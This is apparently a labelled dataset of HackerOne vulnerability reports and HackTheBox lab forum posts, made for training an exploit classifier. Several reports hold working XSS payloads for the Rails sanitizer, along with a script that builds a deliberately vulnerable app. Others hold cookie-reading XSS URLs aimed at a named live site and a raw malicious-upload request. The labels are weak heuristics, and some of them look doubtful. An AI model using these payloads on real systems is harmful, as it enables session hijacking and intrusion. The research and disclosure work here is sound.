-{"id": "4192cee15b0ec125d4ef", "text": "[Cross-site Scripting (XSS) - Generic] Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)\n\n## Intro\n\nThe Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled. \nSimilar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable,\nmy fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS.\nThe following are PoCs for each of these allow list:\n- `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>`\n- `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>`\n\nSee the following IRB session: \n```\nirb(main):016:0> require 'rails-html-sanitizer'\n=> false\nirb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<svg><style><script>alert(1)</script></style></svg>\", tags: [\"svg\", \"style\"]).to_s\n=> \"<svg><style><script>alert(1)</script></style></svg>\"\nirb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<math><style><img src=x onerror=alert(1)></style></math>\", tags: [\"math\", \"style\"]).to_s\n=> \"<math><style><img src=x onerror=alert(1)></style></math>\"\nirb(main):019:0> puts Rails::Html::Sanitizer::VERSION\n1.4.3\n=> nil \n```\n\n## Sample Vulnerable Rails Application\n\nTo build a sample rails application that is vulnerable, I've used the following `Dockerfile`:\n\n```\nFROM ruby:3.1.2\n\nRUN apt-get update && apt-get install -y vim\n\nWORKDIR /usr/src/app\nRUN gem install rails && rails new myapp\nWORKDIR /usr/src/app/myapp\n\n\nCOPY build-rails-app.sh ./build-rails-app.sh\nRUN sh ./build-rails-app.sh\nRUN RAILS_ENV=production rails assets:precompile\n\nCMD [\"./bin/rails\", \"server\", \"-b\", \"0.0.0.0\", \"-e\", \"production\"]\n```\n\nIn the same directory, put a shell script `build-rails-app.sh` which writes the app:\n\n```\n#!/ibn/sh\n\n# make routes\ncat << EOF > ./config/routes.rb\nRails.application.routes.draw do\n  get \"/poc1\", to: \"poc1#index\"\n  get \"/poc2\", to: \"poc2#index\"\nend\nEOF\n\n# make Poc1 endpoint\n# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E\nbin/rails generate controller Poc1 index --skip-routes\n\ncat << EOF > ./app/controllers/poc1_controller.rb\nclass Poc1Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc1/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"svg\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc1?name=<svg><style><script>alert(1)</script></style><svg>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n\n\n# make Poc2 endpoint\n# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E\nbin/rails generate controller Poc2 index --skip-routes\n\ncat << EOF > ./app/controllers/poc2_controller.rb\nclass Poc2Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc2/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"math\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n```\n\nWith the following `Makefile` you can build and run the application\n\n```\n.PHONY: build\nbuild:\n\tdocker build -t local/railspoc:latest .\n\n.PHONY: run\nrun:\n\tdocker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest\n```\n\nNow you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit:\n- [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ff2760734731cb6939a", "text": "[Cleartext Storage of Sensitive Information] user_ldap app logs user passwords in the log file on level debug\n\n## Summary:\nNextcloud using ldap user authentication and loglevel debug write user passwords to log file.\nVulnerable versions: 26.0.4, 27.0.1.\n\n## Steps To Reproduce:\n  1. Use a nextcloud with ldap user authentication.\n  2. Set nextcloud config loglevel to 0 (debug).\n  3. Login to nextcloud using a ldap user.\n  4. Search for lines with 'ldap_bind' in nextcloud log file.\n\n## Supporting Material/References:\nSample log file:\n```\n{\"reqId\":\"QRqbkhMpRAY1ugvQMrPk\",\"level\":0,\"time\":\"2023-08-08T11:17:11-03:00\",\"remoteAddr\":\"<IPADDRESS>\",\"user\":\"--\",\"app\":\"user_ldap\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Calling LDAP function ldap_bind with parameters [{},\\\"uid=<USERNAME>\\\",\\\"<PASSWORD>\\\"]\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\",\"version\":\"27.0.1.2\",\"data\":{\"app\":\"user_ldap\"}}\n```\n\nAffected file:\n`apps/user_ldap/lib/LDAP.php`\n\nVulnerable code:\n```\n\tprivate function preFunctionCall(string $functionName, array $args): void {\n\t\t$this->curArgs = $args;\n\t\t$this->logger->debug('Calling LDAP function {func} with parameters {args}', [\n\t\t\t'app' => 'user_ldap',\n\t\t\t'func' => $functionName,\n\t\t\t'args' => json_encode($args),\n\t\t]);\n```\n\n## Impact\n\nLocal administrator can retriave user passwords.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "964907b35ec051e8ab30", "text": "can you help me the diggin in part i can’t get the flag", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d80aacf68344f3d0dcee", "text": "[Cross-site Scripting (XSS) - DOM] Cookie exfiltration through XSS on the main search request of www.lahitapiola.fi\n\n## Basic report information\n**Summary:** \nAdding extra search parameters generates the creation of new input fields which can be escaped, thus generating HTML injection possibilities, Cross-Site Scripting attacks, and the retrieval of the page's cookies.\n\n**Description:** \n\n - Observing the Bug\n\nI was researching the parameters of search bar from the main page. While search this creates links of the type: `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=testing`. By adding additional URL parameters, `&random=parameter`, the website creates hidden input fields with the `name` being the first word (random)  and the `value` being the second word (parameter). See figure:\n\n{F1428608}\n\nBy creating a name variable with `\">`, such as `&random\">=parameter`, one can escape the input element. See figure:\n\n{F1428610}\n\nFull URL to replicate escape to HTML: `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=testing&random%22%3E=parameter`\n\nIn consequence, this allows an attacker to generate any html and to inject the page with any HTML elements. For example, ** a payload can be generated to display a link towards an attacker's website**. The following link, `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=test&other=anything&again%22/%3E%3C/div%3E%3Ca%20href%3D%22https://www.google.com%22%3EClicking%3C/a%3E%3Cinput%20type%3D%22hidden=alert`, does exactly that if a user clicks on the \"Clicking\" link.\n\n - XSS\n\nBasic protection impedes an attacker from triggering simple XSS payloads. However, through testing a certain payload works. See figure:\n\n{F1428612}\n\nBy hovering and moving around the screen over the *Click Me*, an XSS payload is executed.\n\nURL to reproduce: `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=test&other=anything&again%22/%3E%3C/div%3E%3Cdiv%2fOnpOinTeReNter%3dconfirm&lpar;document.domain&rpar;%3Eclick%20here%3Cinput%20type%3D%22hidden=alert`\n\n**Javascript payloads can run directly in the user's browser.**\n\n- Getting Cookies\n\nRetrieving  the cookies was an extra step of difficulty, however, here is a payload that works and an image to show it working. The `document.cookie` command seems to be blocked but not the `self[Object.keys(self)[5]].cookie`. In consequence, to trigger this payload a few attempts might be required, the hardcoded `5` is the origin of this issue as Object.keys(self) changes in time I believe. I seem to make it work 1 out of 5 times.\n\n{F1428615}\n\nURL to reproduce: `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=test&other=anything&again%22/%3E%3C/div%3E%3Cdiv%2fOnpOinTeReNter%3dconfirm&lpar;self[Object.keys(self)[5]].cookie&rpar;%3Eclick%20here%3Cinput%20type%3D%22hidden=alert`\n\n**Cookies and session cookies can be retrieved and exfiltrated to an attacker using javascript.** This poses a risk on any user that is sent a link from anyone else.\n\n**Impact:**\nThe vulnerability allows for HTML injection, XSS, and cookie retrieval. The impact is important as the URL is the landing page of the website and is simply triggered through a link. In consequence, an attacker could send any user a link from the website and **retrieve their session cookies** or any commonly XSS attacks. The HTML injection allows a button to be injected redirecting towards any possible websites which is an **Open Redirect** vulnerability.\n\n## Browsers / Apps Verified In:\nWorks in (all up to date at the time of the report):\n  * Google Chrome - Version 92.0.4515.159 (Official Build) (64-bit)\n  * Microsoft Edge - Version 92.0.902.84 (Official build) (64-bit)\n\n## Steps To Reproduce:\n\n  1. Modify the URL parameters of the main page to escape an html element and inject any html element. URL:\n`https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=testing&random%22%3E=parameter`\n  2. With the new HTML element find a way to add an XSS payload. URL:\n `https://www.lahitapiola.fi/henkilo?pagename=LTSearchResults&q=test&other=anything&again%22/%3E%3C/div%3", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4696d812b4d17e35424d", "text": "[Use of Hard-coded Password] No character limit in password field\n\nHey, when I try to set the password while creating an account into \"UPchieve\" I noticed that you haven't kept any password limit.\nYou need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.\nNormally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack. in my SQL but in the website registration page, there are no limitations. Let me know if you need any more details.\nVulnerable Domain: https://upchieve.org/\nThis is typically not DoS, but a vulnerability that may lead to a DoS attack.\nFor my account into \"UPchieve\" with \"User: john\" and \"Mail : john.chris@mailcuk.com\", I use this password :\nT123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bd12d26ca397eade8b28", "text": "[Business Logic Errors] CVE-2023-27536: GSS delegation too eager connection re-use\n\nlibcurl would reuse a previously created connection even when the GSS delegation (CURLOPT_GSSAPI_DELEGATION) option had been changed that could have changed the user's permissions in a second transfer.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, this GSS delegation setting was left out from the configuration match checks, making them match too easily, affecting krb5/kerberos/negotiate/GSSAPI transfers.\n\n## Hackerone report\n#1895135\n\n## Impact\n\nExisting connection that was established via more lax delegation will be reused for connection that should not succeed due to more restrictive delegation requested.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27536"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30043c5563abb1a492d6", "text": "i was having a similar issue with the question ‘How many files exist on the system that have the “.bak” extension?’ where i kept getting 1 as the answer until i realized i didnt ssh to the target than i got the correct answer of 4", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "69130c5832c6ad907392", "text": "So I did it, but I don’t know exactly which command was the one that worked. The flag.txt only appeared on the /tmp webpage after refreshing it. At the time I was trying another method using Burp to capture the packet(s) when copying and/or moving a document to the main page after it was moved to the /tmp page. Moving any document back to the main page caused the ‘malicious request denied’ message alert, but it did allow the document to be copied to the main page if it had originally been moved to /tmp. I also get the following message alerts a lot: “bash: /flag.txt: Permission denied”, and the \"Error while moving: mv: missing destination file operand after ‘/var/www/html/files/’ \". I’ve mainly been using the ||, && methods, but have tried various other URL-Encoded characters, and also injecting the input in the middle of the command rather than at the end, but all to no avail. If anyone is able to point me in the right direction, I would greatly appreciate it! Also, PM me if you want to exchange more detailed methods/ideas that we shouldn’t post here.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f118143aa9e2583db81a", "text": "Good Morning, Apollyon!!! I just wanted to let you know after reading post and comments, I decided to send a request to join your team. ( either d4rk3m0 or JTCHD007 ) I am still fairly to the community and I have never been in an ( Actually team ) before. I am looking forward to joining the team! if you have any questions, do not hesitate to DM me -JTCHD", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9fbda01109b377ada822", "text": "[Business Logic Errors] CVE-2023-27533: TELNET option IAC injection\n\ncurl supports communicating using the TELNET protocol and as a part of this it offers users to pass on user name and \"telnet options\" for the server negotiation.\n\nDue to lack of proper input scrubbing and without it being the documented functionality, curl would pass on user name and telnet options to the server as provided. This could allow users to pass in carefully crafted content that pass on content or do option negotiation without the application intending to do so. In particular if an application for example allows users to provide the data or parts of the data.\n\n## Hackerone report\n#1891474\n\n## Impact\n\nAttacker being able to specify TTYPE, XDISPLOC or NEW_ENV values is able to inject unintended TELNET commands to the telnet connection. Depending on the use case of the telnet protocol, this may allow the attacker to inject  arbitrary controlling operations, or arbitrary input as if entered by the user manually.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27533"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0b7ce8eff15daacc0fd3", "text": "[Unknown] Unrestricted File Upload on reddit.secure.force.com\n\n## Summary:\nReddit.secure.force.com is Reddit SalesForce instance. Attacker is able to send attachments of disallowed filetypes to this server. The attacker is able to send malicious documents such as CVE-2022-30190 Follina to the victim.\n\n## Impact:\nAttacker can send malicious files to whoever handles the form behind https://reddit.secure.force.com/adhelp\n\n## Steps To Reproduce:\n  1. Go to https://reddit.secure.force.com/adhelp \n  2. Notice that the specified allowed filetype is:  jpg jpeg gif png pdf as you can see with the image below: \n\n{F1780944}\n\n  3. If you try dragging and dropping a docx file to that box, there is a Javascript which forbids such action. But if you used the \"Click to browse\" option you can start uploading the file.\n\n{F1780957}\n\n4. The file upload request: \n\n```http\nPOST /adhelp/apexremote HTTP/1.1\nHost: reddit.secure.force.com\n████████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://reddit.secure.force.com/adhelp/\nX-User-Agent: Visualforce-Remoting\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nContent-Length: 15301\nOrigin: https://reddit.secure.force.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n{\"action\":\"AdvertisingHelpController\",\"method\":\"uploadFile\",\"data\":[\"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", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-30190"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1688d334eb0f1782979", "text": "Hey guys a little help please. I see the the flag1.txt in the history of htb-student. But it is actually not present. please help", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "07b9f75498aa7b379fa4", "text": "[Allocation of Resources Without Limits or Throttling] HTTP multi-header compression denial of service\n\nA server can send an HTTP response with many occurrences of Transfer-Encoding and/or Content-Encoding headers. Each listed encoding allocates a buffer. The number of encodings listed within each header is already limited but the number of headers is not, allowing an HTTP response to consume all available memory.\n\n## Impact\n\nConsumes all available memory, resulting in a DoS.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "996e34bddac723727fdf", "text": "[Unknown] Escape Sequence Injection vulnerability in Rack\n\nDangerous bug in commonlogger of rack that allows to inject escape sequences in logs, the same bug alredy closed in webrick \nhttps://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection/\nLogger processes the query string correctly, but request metod printing as is.\nhttps://github.com/rack/rack/blob/master/lib/rack/common_logger.rb#L50\nTriggering request:\n```\nGET\\b\\b\\bPOST /sign_in?test1=1\\b2 HTTP/1.0\nHost: 127.0.0.1:4567\n```\nResult:\n``` \nRack::Lint::LintError: REQUEST_METHOD unknown: POST\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:21:in `assert'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:340:in `check_env'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:44:in `_call'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:38:in `call'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/show_exceptions.rb:23:in `call'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/common_logger.rb:38:in `call'\n        /usr/local/bundle/gems/sinatra-2.1.0/lib/sinatra/base.rb:253:in `call'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/content_length.rb:17:in `call'\n        /usr/local/bundle/gems/rack-2.2.3/lib/rack/handler/webrick.rb:95:in `service'\n        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/httpserver.rb:140:in `service'\n        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/httpserver.rb:96:in `run'\n        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'\n172.19.0.1 - - [29/Nov/2021:12:19:06 +0000] \"POST /sign_in?test1=1%082 HTTP/1.1\" 500 950 0.0006\n```\n\n## Impact\n\ninject malicious escape sequences to its logs, making it possible for dangerous control characters to be executed on a victim's terminal emulator", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6d40704059d46d71548d", "text": "BoxBuster: Harry is 1337 for anyone struggling please use this guide. Additionally, be sure to use the password policy from previous exercise in the module. I agree the question was poorly formulated. Took me more time to figure what the question was referring to that to answer. I guess that’s the point on a question right lol . Understanding even what the heck it means lol", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64d9e17554c32f51886a", "text": "[Improper Authentication - Generic] Direct Access To admin Dashboard\n\n* This issue affect two Subdomains, https://data-stories-website.shopifycloud.com/admin.php  `and`  https://datastories.shopify.com/admin.php\n\n## Summary:\nHi Team,\nWhen Link to https://datastories.shopify.com/admin   or  https://data-stories-website.shopifycloud.com/admin the subdomain redirect you to https://shopify.okta.com/login/login.htm?fromURI=/oauth2/v1/authorize/redirect?okta_key=PJl7eQUE9mYSKrtADqQAMe6v3y_SA3iqFtstkVPavAA for OKTA authentication to perform non admins from the Admin dashboard at https://datastories.shopify.com/admin.\nBut non authentications users still can access the admin dashboard  just by add any extintion to the admin word => https://datastories.shopify.com/admin.php .\nWhen link to https://datastories.shopify.com/admin.php You can see the admin dashboard for the subdomain and the information replaced in.\n* You can't discard, edit  or create Globals while you are not authenticated, But you can still see administrative information.\n* When You press Ctrl+U you can see parameter called `authenticity_token` which admin csrf_token, This token can used to perform CSRF attack on the site admin **I can't perform for u the CSRF attack now for manu reasons, but accessing this token is critical issue**.\n\n## Steps To Reproduce:\n\n  1. Link to https://datastories.shopify.com/admin.php , and  https://data-stories-website.shopifycloud.com/admin.php\n\n## Impact\n\nDirect access to admin dashboard", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8342de173c7546a980de", "text": "[Privacy Violation] Guests can continue to receive video streams from call after being removed from a conversation\n\n## Summary:\n\nIf the HPB is used and a guest is removed from a conversation while said guest is in a call the guest will no longer appear in the participant list and the call will appear as ended for the other participants. However, for the guest the call UI is still shown. If other participants start a call the guest will automatically establish connections with them (so she will be able to hear and see the other participants), but from the point of view of the rest of the participants the guest is not in the call and she is not shown in their UI.\n\nThis can be reproduced only for guests and when the HPB is used. It could be related to https://github.com/nextcloud/spreed/issues/7962\n\n## Steps To Reproduce:\n\n- Setup the HPB\n- Create a public conversation\n- In a private window, open that public conversation as a guest\n- Start a call\n- In the original window, delete the guest\n- Start a call again\n\n### Expected result\n\nThe guest was kicked out from the call and she can not see nor hear the participants joining after that\n\n### Actual result\n\nThe guest was, according to the system messages for other participants, kicked out from the call, but the call UI is still shown for her and connections will be established to participants joining after that (and those new participants will not be aware of the guest being still in the call)\n\n## Impact\n\nAn attacker would be able to spy on calls in a public conversation after being removed from that conversation, provided that she was removed while being in the call.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-31", "split": "val", "label_source": 